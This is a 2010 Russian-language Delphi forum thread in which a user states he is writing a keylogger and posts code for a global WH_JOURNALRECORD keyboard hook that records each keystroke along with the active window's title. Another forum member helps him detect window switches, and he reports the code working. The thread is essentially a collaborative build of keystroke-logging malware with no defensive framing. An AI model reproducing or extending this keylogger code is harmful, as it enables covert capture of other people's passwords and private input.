Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 13.12.2010, 12:20   #1
DeDoK
Форумчанин
 
Аватар для DeDoK
 
Регистрация: 05.11.2007
Сообщений: 392
По умолчанию определение активного окна

доброго времени суток, вопрос таков.
Получаю заголовок активного окна
Код:
function GetWindowTitle(h:HWND):string;
var
  buf : array[0..255] of char;
begin
  GetWindowText(GetActiveWindow(), buf, 256);
  result:=buf;
end;
все верно но проблема в следующем
как сделать так чтобы он определялся как только я сменил окно,
например зашел в оперу - оно мне показало это, зашел в квип - оно мне показало это.
пробовал в таймер - очень неудобно.
сразу говорю пишется кейлогер, пробовал закидывать так, тоже не то.
Код:
function Proc(code:integer; wParam:WPARAM; lParam:LPARAM):lresult;stdcall;
var
c:array[0..255] of char;
s:string;f:file of char;
nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c[0];
  Form1.Memo1.Lines.Add(GetWindowTitle(GetActiveWindow)+#13#10);
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;
DeDoK вне форума Ответить с цитированием
Старый 13.12.2010, 13:14   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,792
По умолчанию

Цитата:
пробовал закидывать так
В ДЛЛ? Какой тип хука использовал?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 13.12.2010, 13:29   #3
DeDoK
Форумчанин
 
Аватар для DeDoK
 
Регистрация: 05.11.2007
Сообщений: 392
По умолчанию

нет, это не длл, весь код находится в юните

Код:
procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;
ставил за цель написание без длл
DeDoK вне форума Ответить с цитированием
Старый 13.12.2010, 19:07   #4
DeDoK
Форумчанин
 
Аватар для DeDoK
 
Регистрация: 05.11.2007
Сообщений: 392
По умолчанию

пробовал по совету Stilet'а

var
fw, fwNew, ActiveWindow : HWND;
Код:
procedure TForm1.Timer2Timer(Sender: TObject);
begin
 ActiveWindow:=GetForegroundWindow;
if ActiveWindow<>fw then 
begin
fw:=ActiveWindow;
Memo1.Lines.Add(GetWindowTitle(fw));
end;

end;


Исправили,заработало) спасибо стилету)

Последний раз редактировалось DeDoK; 13.12.2010 в 21:13.
DeDoK вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Получить имя активного дочернего окна в MDI JeyKip Общие вопросы C/C++ 4 05.12.2010 02:59
установить номер активного дочернего окна MDI Delphi JK0 Помощь студентам 7 22.10.2010 09:45
Confirm при закрытии активного окна Jensi JavaScript, Ajax 4 17.08.2009 19:06
Поиск активного окна Arigato Win Api 5 22.11.2008 18:32
Могут ли обрабатывать нажатия клавиш окна, отличные от активного? Gorlum Общие вопросы Delphi 14 27.10.2007 17:28